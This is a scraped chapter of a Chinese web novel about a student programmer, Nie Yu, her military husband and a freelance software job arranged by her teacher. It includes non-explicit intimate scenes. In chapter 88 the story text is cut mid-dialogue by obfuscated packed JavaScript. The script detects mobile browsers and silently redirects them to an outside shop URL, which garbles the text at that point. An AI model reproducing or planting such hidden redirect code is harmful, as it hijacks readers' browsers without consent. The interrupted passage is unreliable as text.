孟京阳起身,收拾东西想要去会议室再琢磨下演习方案,有敲门声响起,他停下手边的动作,唤人进来。 来人是通信员小张,他向孟京阳报告说,在他去开会的这几个小时里,除了嫂子给他来过一通电话后,干休所大院那边小戚也打来过一次,留话说有一位远方的故人找他,言称有事相求。 孟京阳微蹙眉头,道过谢让小张出去了。回眸扫视了一下办公桌,他又回到椅子边坐下,然后从抽屉里取出手机,从中调出一个电话号码,拨了出去。 没多久,电话接通,那头有一个迟疑的女声传了过来:“请问您是?” “是我,孟京阳。”无意与电话那头的人过多寒暄,孟京阳直接自报家门,“小戚说你给我去过电话,说是有事找我帮忙。你确定吗?”他反问道,“你只剩最后一次机会了。” 电话那头的人沉默片刻,说:“我确定,我真的要受不了了。” “好。”孟京阳微闭一下眼眸后,道,“你详细说。” - 在跟孟京阳商量好后,聂宇第二天就回了学校,将决定加入实验室的消息告诉了宋清辉。宋清辉向她表示了欢迎,让她回去等系里通知,等他将全部人员码齐之后,实验室就正式开张了。 聂宇兴奋不已,回去之后却是谁也没告诉。毕竟系里还没有公示,她不能提前走漏了消息。 但兴奋的心是有些按捺不住的,她回到宿舍想要找人一起吃饭,一进门,就看见冯瑛和鲁静凑在一起不知道正在嘀咕什么。 对于这一搭配,聂宇表示有些新奇。这两人一个外向一个内向,平时是不怎么说得来的,这会儿怎么凑一块儿去了。 “说什么呢?”放下书包,聂宇微笑着凑过去。 “快快,先关上门。” 冯瑛一脸神秘的示意,聂宇只得折返回去关上门,然后假装无奈地对她摊手:“现在可以公布答案了吧。” “宁露好像谈恋爱了。”冯瑛仍是低声道,“而且是跟咱们的林老师!” 这句话,不亚于一枚重磅炸弹,震得聂宇耳朵嗡嗡作响。 “不可能,这谁编的?” 聂宇下意识反驳道,得到鲁静的附和。 “是啊,林老师怎么可能会和宁露呢?”鲁静蹙着眉头道,“当然,也不是说露露不好,只是两人八竿子打不着的关系——” “怎么八竿子打不着?”冯瑛打断鲁静的话说,“上学期气排球比赛宁露不是代替你上场了,咱们训练的时候林老师可是一直在的,两人那个时候就认识了呀。” 鲁静不言,轻咬住嘴唇看了聂宇一眼,见她仍是一副不以为意的样子。 “认识是认识,但谈恋爱绝不可能。”聂宇笃定道,至于她为何如此肯定,自然是因为她比别人多了解了林虹岩那么一点——人家有女朋友! 聂宇看向冯瑛:“这事儿你到底听谁说的啊小瑛子?” “是听李晓晓。”冯瑛抠抠头皮道,“那天她不小心说漏了嘴,说宁露想追林老师呢。” 听完这句,聂宇和鲁静都松了一口气,后者更是有些哭笑不得。 “小瑛,想追和谈了可是两回事,你怎么能混到一起说呢?” “是李晓晓说的宁露快大功告成了,那这不是谈了吗?最起码也暧昧上了。” “得了吧,李晓晓那张嘴你还不知道?三分说七分,七分说十分,做不得数。” 冯瑛“哦”一声,又说:“不管怎么说,她动了这个念头就挺让人意外的,她这个心思是从什么时候有的呀?” “那谁知道了……” 鲁静说着,又看向聂宇,期盼她说点什么。在她看来,这件事上聂宇比别人知情更多,否则刚才也不会那么干脆地断定传言为假了。 聂宇心里当然是清楚的,但她不会说的,尤其是当着鲁静的面儿。见冯瑛也向她看来,她一摆手道:“反正我们知道是假的就成,别的不用多管。” “好。”两人应道。 果然,冯瑛和鲁静接下来没再谈论这个话题,甚至连田舒云也没再告诉。但聂宇作为唯一知悉宁露真实想法和林虹岩真实情况的那个知情人,却不能不当回事。纵然李晓晓话有夸大,但宁露喜欢林老师这件事确实是真的,而林老师—— 聂宇一想到林虹岩就觉得头大,同时也深感惭愧。纠结了片刻,她决定找宁露谈一谈,向她稍作一下暗示。不一定能起到多大作用,但如果真能为林虹岩免去一些麻烦,也算是她对他的补偿,好彻底勾销她内心的些微愧疚。 聂宇想到就行动。意料之中的,宁露对聂宇的劝解不以为然,甚至还有些生气:“不是你说的,比赛结束之后你就不管我了,怎么现在又来干涉我?” “此一时彼一时。”聂宇硬着头皮说,“情况总在变。” “怎么变?”宁露微眯起眼睛,“难不成你也喜欢上林老师,怕我跟你抢?小宇,你应该不是这样的人吧。” 这姑娘真的是逮着机会就报复,聂宇深吸一口气,说:“我当然不是这样的人,其实我这么做也是在为你考虑,你和林老师不可能的,趁你还陷得不深,赶紧考虑别人吧。” “那我可真是多谢你了。”宁露笑,“但是聂宇,我不需要你为我考虑,请把你的好心留给其他人。” “行。”聂宇点点头,道。 在不透露了林虹岩已有女友的前提下,她已经把话说的很绝了。奈何宁露不听,那她实在也没有办法了。 “反正我唯一可以肯定告诉你的,就是你们绝对不可能。至于其他的,你自己拿主意吧,我不会再干涉你。” 丢下这句话,聂宇笑笑走了。宁露看着她的背影,兀自犯着嘀咕:怎么就不可能,林老师明明就—— 宁露轻咬一下嘴唇,说:“等着瞧吧聂宇,我一定拿下林虹岩!” - 劝说无果之后,聂宇也就不再管这件事了。她也不觉得自己这个补偿敷衍,实在是宁露这个人太犟,如果注定要走到那一步,那就只有留给林老师去解决了。 当然,如果有更多的时间去思考和斟酌,聂宇一定会发现这里面的不对劲儿。以宁露的行动力,她多半可能已经跟林老师告白过了,而林虹岩若想拒绝她,最有可能拿出来用的理由就是:我不是单身。但纵观她们的谈话,宁露从头到尾都是一副不知情的样子,也就是说,很大的可能是林虹岩并没有这么说。那这又是为什么呢?难道是林虹岩在有意放任宁露的好感和接近? 无论如何,这件事在聂宇这里不得不划上句号,因为在她找过宁露的第二天,系里那边就出了公告,宣布了宋清辉实验室的成立,以及入选学生名单。出乎聂宇意料的,大一这一届除了她之外,张翀也入选了。 宋清辉只在大一选了两个人,对外的说辞是公平起见,要给极个别优秀的学生一个机会。至于“极个别”的衡量标准,自然就是上学期的期末考试成绩。 如此以来,聂宇就不是最特殊的那一个了,消息一经公布,虽然引起了热议,但她的入选有理有据,大家自然也不能说什么。不过张翀在跟宋清辉谈过话后选择了放弃,这下聂宇成为大一这一届的独苗苗,成为了众人的期望。是以每个人见到她的时候更关心的不是她入选了,而是她能不能在宋清辉的实验室待下去。为了保住她这根独苗,所有人都为她加油打气,弄得聂宇一时有些哭笑不得。 第二天,聂宇就带着全班的希望去了宋清辉的实验室,进去之后,她被一整排安装了最新操作系统的电脑闪着了眼,除此之外,还有好几台最新款的笔记本,方便有需要的人移动办公。 下如此大的本,自然也不是做慈善的,在开完成立大会之后,宋清辉就开始布置任务,以练代教和代学。聂宇也不敢有丝毫的马虎和疏忽,每天都待在实验室忙到很晚,敲代码都快敲出了腱鞘炎。 就在这样日复一日的辛苦忙碌中,燕城送走了风沙与煦风交替的春日,迎来了初夏。而聂宇也见到了她忙于演习,久未归来的丈夫。 -87- 聂宇接到孟京阳电话的时候,刚从海城参加完全国大学生计算机创新大赛回来不久。这又是宋清辉的主意,从一开始就历练他们的竞赛能力,为以后参加国际性的比赛打前站。 这一次科大的参赛队伍由两名大三、三名大二的学生组成,聂宇这个大一小喽啰仅算是替补,负责给大家打杂的。然而在抵达海城的第二天,就有一个大二的师兄因为贪嘴吃海鲜吃坏了肚子,拉的下不来床。聂宇不得不挽起袖子上阵,最后助力科大成功斩获了银奖。 对于这个结果,宋清辉勉强满意。他原本还想趁热开个复盘会,见归来的队伍人人一脸疲惫,便放他们去休息了,于是聂宇马不停蹄地回了家。 走到家楼下的时候,被她放在包里的手机响了。这是她临去海城前从孟京阳那里收到的,说是带上手机联系方便。聂宇觉得他说的有道理,便收下了,等到了海城之后,她每天出门前和回来后都要检查一遍手机在不在,倒是给她增添了不小的心理负担。 聂宇取出手机,按下了接听键。至于来电人是谁,压根儿不用猜,除孟京阳外无一人知道她的号码。 “小宇,到燕城了没有?” 孟京阳知道她是今日返程,便如是问道。 “没呢。”聂宇一边上楼一边骗他道,“这会儿还在机场,飞机延误了。” “延误到这个时候?”孟京阳挑眉,话中有几分诧异。 “对呀,领队黄老师说,如果实在不行,我们就只能转战火车站了。” “因为什么延误?”电话这头,孟京阳又问,“从海城到燕城这一线最近的天气应该都挺不错,没听说哪里有雷雨。” “这个也说不准嘛,不是有句话叫,天有不测风云……” 聂宇说着,觉得这句似乎不太吉利,还没来得及改口,就听孟京阳在那头斥她:“胡扯什么,一会儿要上飞机,这句话也是能随便说的?” “对不起对不起,我呸呸呸。” 聂宇赔笑道,在门外站定,掏出钥匙要开门。清脆的嗓音毫不费力地透过门板传到了屋内,使得某人拿手机的手一顿。 “也不一定要坐飞机了,刚不是说了可能转搭火车,所以你不要担心……” 聂宇继续满嘴跑火车,结果她刚把门打开,门就自动往一侧退去,像是有什么力道从里面牵引着似的。聂宇抬头,看见孟京阳一手把着门,一手拿着手机,正居高临下地眯眼瞧着她。 看到电话里的人突然出现在眼前,且还是想了很久的。聂宇愣怔一下后,是满心的惊喜。她也顾不得刚说谎才被人逮个正着,哎呀一声,满是诧异的笑问:“你怎么回来了?你什么时候回来的?” “……” 如此未经掩饰的喜悦,将某人想算账的心熄灭了一半儿。孟京阳有些无奈地看着面前这个小骗子,说:“回来没多久,大概比你早半个小时。” “那你怎么不提前告诉我?”聂宇任由孟京阳将她的行李接过去,拿眼睇他,“难不成是知道我今天回来,想给我个惊喜?” “怎么给你惊喜?”孟京阳放好行李后反问,“照理你现在应该正在马不停蹄奔向海城火车站的路上,今晚无论如何应该是回不来燕城了,是不是聂老师?” “……哎呀。”聂宇又笑了,带着几分心虚,“我是想跟你开个玩笑,逗你玩儿来着。” “很好笑吗?”孟京阳瞥她一眼,见她微微凑上前来,心里的火彻底没了。随手将手机放到一旁的玄关柜上,孟京阳捏着聂宇的下巴,故作端详一阵,然后才在聂宇溢出不满的瞪视中笑着垂首,贴住她的唇。 - 战火逐渐蔓延,从客厅再到浴室再到卧室。 聂宇本想叫个停,两人先叙叙旧再继续,却被孟京阳无视了。客厅一通热吻之后,他直接将她抱进了浴室,快速地品完前菜之后,又回到卧室继续正餐。就这样折腾了不知有多久,结束的时候俩人都仿佛是从水里捞出来的,聂宇不住短促呼吸着,像是一条快要窒息的鱼。 孟京阳放开聂宇平复了片刻,又将人捞到怀里,只手在她滑腻的脊背上摸索片刻,然后低下头又含住了她的唇。但这一吻没有什么掠夺的快意了,只余丝丝缕缕的温情,仿佛是想延长快乐的余韵。 聂宇几乎都有些着迷了,在孟京阳假装要结束的时候,她没忍住追缠了上去,引得他又继续。就这样痴缠了许久,分开之后,仿若牵出一道银丝,将断未断。 孟京阳抬手,在她唇边摩挲着。聂宇假装要咬一口,笑问他:“你干嘛呢?” “在审问它。”孟京阳低喃,“看是谁教唆它骗人的。” 聂宇浑身一激灵,躲开他的手,转过身不理他了。孟京阳垂眸欣赏她赤/裸的脊背片刻,从身下扯出一条薄被,搭在了她的腰间。 五月初的天气,已经有了些许热意。但孟京阳任由窗户敞着透了会儿气后,没过多久就又关上了,怕冻着某些懒得穿衣的人。 当然,他自己上半身也敞着,下半身随便套了件长裤,整个人看上去落拓不羁。聂宇偷瞧了片刻后忍不住吃吃笑,回忆起一开始他在她面前一本正经的样子,竟觉得久远的仿佛在上个世纪。 “饿不饿,我去做饭。”捞起衬衣套上,孟京阳对仍旧躺在床上的聂宇说。 “不饿,刚吃饱了。” 这六个字,使得孟京阳眉间倏地一跳,身体不受控制地有了反应。聂宇都惊了,平静下来后开始笑,伴随着控制不住的抖动,连带着身上的被子都渐渐滑落了下来。但见孟京阳作势有要过来惩治她的意思,聂宇连忙又拥着被子起身,挤出一个极为讨好的笑。 “小孟同志,要经得起考验嘛。”聂宇甜甜地说。 孟京阳略眯着眼瞅她,心里已经十分肯定,这姑娘今天就是来玩儿他的。这其中带着小小的惩戒,作为他久不归家的代价。 既如此,他也就不能跟她认真了。走到她面前弯腰与她对视片刻,孟京阳出其不意地在她胸前轻拍了下,丢下一句话:“一会儿出来吃饭。” - 聂宇又在床上闷了一会儿,才起床去洗澡。出来之后看到穿戴整齐的某人,后知后觉地感受到一点羞耻,也不好意思兴师问罪了。哎,刚他真拍的自己有点儿疼。 孟京阳瞅聂宇一眼,就知道她在想什么。微扯唇角,他招手叫她过来吃饭。 是一碗清汤挂面,家里的存货不多,现在只能凑合吃吃了。但孟京阳调味的手艺很是不错,聂宇吃了觉得很是落胃,也就很没原则地原谅了他刚才的“粗鲁”。 两人边吃边聊,孟京阳告诉她一个消息:谢念真打算去特种大队了。 聂宇有些意外:“他能选上吗?” 在聂宇的眼里,比起军人,谢念真其实更像个书生。 “体能没什么优势,但他有技术。现在到处都在搞信息化建设,这方面技能军区没几个人能压过他。” “那倒是。”聂宇笑说,“这么说如果以后我去参选的话,指不定也能通过了?” “有可能,不过有个前提。”孟京阳一顿,“你得先入伍。” “那部队会要我么?”聂宇眼睛亮亮地看着他,“万一差点儿什么,你能不能帮我疏通疏通门路,走走后门什么的?” 竟还当真了?孟京阳觑她一眼,说:“可以,不过我不白帮忙的,咱们夫妻俩也得明算账。” “……”聂宇不想搭理他了,她已经懒得去算自己欠了他多少那什么债。 孟京阳没忍住笑。其实像聂宇这样的稀缺人才,想进部队走个特招就行,军区绝对欢迎。只是……有必要么?两口子都从军,家不成家不说,他也舍不得她太辛苦。 “对了,咱们得还林老师清白了,人家有女朋友。” 就在孟京阳陷入短暂的沉思时,聂宇忽而说道。孟京阳略有些疑惑地抬眸,对上聂宇的视线后立刻明白过来她说的是什么。 “有女朋友就可以不保持距离了?”他反问,没轻易松口。 “那当然还是要的,只是他不是需要慎重对待的那一个了。”聂宇微哂道,心想这个人还真是小心眼。 “行。” 孟京阳答应了。他打心底里并不觉得这位林老师是多么有力的威胁,只是因为那个举动略感不适而已。但对于聂宇的“清白”之说,他并不完全认同,觉得她想的有些简单。不脚踏两只船是正常人的底线,在还他清白之前,得先确定他是个正常人。 孟京阳心里又生出一个念头,那就是找人查一查这个林老师。先前他就有此想法,只是后来被中途冒出来的庄沁蕾给搅合了。当然,庄老师搞出来的事也不能完全算是一件坏事,至少让他知道了聂宇的真实所想。也因为此,他放松了警惕,就把这个想法给搁置了。 糖衣炮弹确实很容易腐蚀人的意志,孟京阳轻抚了下额头,决定忙完演习就来处理这件事。 “对了澄澄。”提到演习结束孟京阳又想起一件事,他抬眸看向聂宇,语气平静道,“六月我要出趟差,去南边,琛江。” -88- 聂宇已经吃完饭,在吃水果,闻言她抬眸,问他:“大概要去多久?” “十天半个月,看事情是否顺利。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806436|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>聂宇“哦”一声,觉得有些奇怪:“那也不是很久,怎么听你的语气,好像要一去三四个月不回似的。” “……” 孟京阳仿佛也才意识到自己口吻中的异样,微微一怔。 大概是他自己清楚此行是去干什么,心中有些沉重,语气中就不自觉带出来了一些。而聂宇竟是如此敏锐,一下子就察觉到了。 孟京阳微微一笑,又感到一丝惭愧。他并不想欺骗或者隐瞒,只是唯独那件事,他希望永远不要提起。 “有什么想要的可以跟我说,琛江那边有对岸流通过来的货物,品类应该比燕城丰富和新潮许多。”孟京阳说,回过神来意识到自己竟在学那些对妻子有愧的男人,以买东西来减轻自己内心的负疚。 “我想想。” 聂宇笑说。其实她早就有想要的东西,是一台台式电脑。家里虽说已经有一台笔记本电脑且都是为她所用,但因为买的比较早,里面安装的还是旧操作系统,不太符合她现在的需求。 但现在买一台电脑要花费不少,聂宇不太肯定以自己目前的水平犯不犯得上如此破费。更何况她在家的时间不多,买回来也是浪费。因而她便没提。 “行,时间还早,不着急。”孟京阳说。 - 吃过晚饭,两人去楼下散步一圈之后,回到家里又急着洗漱上床。 虽已经耳鬓厮磨了一下午,但分别时间太久,总觉得无论怎么补偿都不够。不过这次聂宇学乖了,对胸前严防死守,免得某人再对她下黑手。 到了晚上,孟京阳不如下午那会儿着急了,更多是在体会和享受。这于聂宇而言又是不同的感觉,她微眯着眼,像是一只被抚摸地很舒服的猫。 结束之后,两人互相依偎着继续说话,孟京阳低声告诉她,说下半年他们团极有可能移防到北方草原,这是在调整之后全团能够拥有的最好结局。 “是因为你们团在这次的演习中表现不好吗?”聂宇怔了下,问。 “不是,演习还没结束,没到下定论的时候。” “那你为什么这么说?”聂宇半支起身,居高俯视着他。 “总要有些期望。”孟京阳抬手捏一下她的下巴,轻轻摩挲着。 “好吧。”聂宇又躺了回去,有些怏怏不乐,“我还以为这次演习你们表现好了就没事了。” “哪儿那么容易。”孟京阳微笑,“不过有句话说得好,人挪活,树挪死。我们努力给全团官兵换一种活法。” “那你是不是就不能经常回来了?”聂宇问道,问完又觉得这个问题好笑——本来他现在回来的次数也不多! 孟京阳不说话,只挨过来,吻她。聂宇不太喜欢他这种避而不答的态度,宁愿他直接回答她“是”。但她又能从这个吻中品到独属于他的那难以两全的苦涩和歉疚,便心软了。 “到时候我去看你啊……”聂宇小声含糊说,“我还没去过草原呢。” “太远,我回来看你。”孟京阳说着,将聂宇扶到他身上,又躺正。 聂宇脸颊微热,微笑着,朝他俯下身。 - 两人在家里度过一个惬意的周末,周一一早,孟京阳回部队,聂宇回学校。 因为赶早会,孟京阳没来得及送聂宇,她自己一个人坐公交回去,路上看着街边迅速划过的风景,心情有些怅然。 这一次分别,不知道下次见到他又会是何时,也不知下一次见面的时候是否就是他们的离别之际。心里很难不煎熬,但这既然是她的选择,她会好好坚持、坚守。因为他给她带来的幸福,远大于痛苦。 到了学校之后,聂宇刚去实验室放下书包,就听一个博士师兄说林虹岩来找过她,就在不久前。 “应该是有什么事,他说等你回来之后可以去人文学院505找他,他上午在那儿。”师兄说。 “行。” 聂宇感觉有些莫名,不知道林虹岩为什么要在人文学院见她。许是他自己学业上有什么事,今天上午不方便过来这边,那就只好她过去了。 聂宇简单处理了一些实验上的事宜,背起书包去了人文学院。费劲儿爬上五楼,她找到了505,进去一看林虹岩果然在。 “林老师,赵师兄说你找我?是有什么事吗?”进去虚掩上门后,聂宇略喘着问。 “对,不过是件私事,在学院办公室里说不太方便,所以我找你来这里。” 林虹岩起身,给她搬来一把椅子后,又给她倒了杯水搁在手边。 聂宇应一声,眸光四处打量着这个房间。 “这里是?”她好奇地问。 “是我导师的办公室。”林虹岩笑答,“本来学院是照顾他给了他老人家单间,但他喜欢热闹,所以至今留在四楼的大办公间,将这里闲置了下来。他把钥匙给了我,让我定期帮忙打扫应对卫生检查,我觉得心里不静的时候也会过来坐坐,干一些自己的事。” 原来如此。 聂宇放心了,问他找她是为了什么私事。 “是这样的。”林虹岩摸了下鼻子,有些不太好意思地开口,“我有一个大学同学开了个外贸公司,随着业务增多,他发现在各项管理上都有些吃力,因为要整理和储存的单据都太多了。所以他现在想找人做一个系统,专门用于进出货和财务管理,而且现在网络不是发展起来了么,他也想给公司做个网页装点门面。” “蛮好的。”聂宇说,也明白了林虹岩的意图,“林老师你是想让我帮你同学做吗?” “可以么?”林虹岩含着期待看向她,“本来想找外面做,但说实在的,我感觉很多水平都不如你。更重要的一个原因是外面报价有些高,所以……” 聂宇没想到林虹岩对她的能力如此信任,心中有些感动。经过宋清辉这小半年的魔鬼历练,做一个简单的管理系统对她来说确实不成问题,只是聂宇从来没试着接过这种商业项目,一时有些迟疑。 “钱不是问题,不会说为了省钱故意压低你的价格,如果你有意,我可以叫我同学过来,你们当面谈,到时候我会在一旁陪着。”这是在打消聂宇的顾虑呢。 “好,我们可以谈谈,不过我不能保证自己一定会接。”聂宇说着,赧然一笑,“做出来的东西总得要让人家满意才行,不然我拿了钱心里也过意不去呀。” “不会的,我看好你。” - 未免耽搁对方的时间,聂宇将见面时间定在了第二天下午下课后。林虹岩联系了他的同学,三人一起去了外面的一间咖啡馆,找了个安静的地方详谈。 出乎聂宇的意料,林虹岩的同学挺专业,特意带了需求来,并向她展示了自己心仪的例子,让她照着这个框架做就行。聂宇又深入了解了一些细节,确定自己能做,就准备接下这个项目。 “不过我现在在宋老师那边也有活,大概只有周六日和晚间能腾出来时间做这个项目,不知道周总介意吗?”林虹岩的同学姓周。 “那大概多久能交付?一个月够吗?”周总问。 “差不多,我努力。”聂宇点头应下。 “成,那就没问题了。”周总搓搓手说,“我多少也学了一些这方面的知识,到时候有空了过来跟你一起搞,说不定效率更高呢。” “就你那三板斧,还是省省吧,没得帮倒忙。” 林虹岩毫不客气地揭他的底,周总爽朗一笑,不以为意。 “欢迎您来,不过我们机房您应该进不来……”至于宋清辉那边,更是不可能准许陌生人出入了。 “那怎么办?那我带一台笔记本过来,咱们就在这里弄?” 周总提议道,却又觉得这样好像不太方便。 “地方不是问题。”林虹岩说,“我老师的办公室就一直空着,里面有台去年新配的电脑,你们尽管用就是。” “这行吗?”聂宇不太确定的反问。 如果有台固定的电脑还是会方便很多,这一点是机房也做不到的。每次上机都是余下哪台用哪台,很多还是旧系统和老配置,读取不了存储器内容且还卡的要死。 “没问题的。”林虹岩笑说,“都说电脑一直闲置着才不好,我偶尔也会用它写写论文和处理一些工作。” “那好。”聂宇含笑应下。 如此就将合作事宜彻底敲定了,周总还准备了一份正式合同。聂宇接过,看着报酬那一栏的数字,心里有些激动。这还是她第一次靠自己的专业技能赚钱,顺利完成的话,她买电脑的钱就有了。 至于要不要买呢,那就再说喽。 - 接下来,聂宇开始了身兼多职的日子。周内就是忙着学业和实验室的事,到了周末,则是专注地给周总干活。 而周总也是个说话算话的人,基本上每周都会来,且他是真的懂点,偶尔聂宇还能从他那里受到启发。至于林虹岩,也会在每次老同学来的时候陪在两人身边,干一些自己的事。算是给聂宇吃一颗定心丸。 终于,在忙碌了近一个月后,聂宇为周总调试出了三个版本的系统,供他选择。而林虹岩也通过这次合作,刷新了一些对聂宇的认知。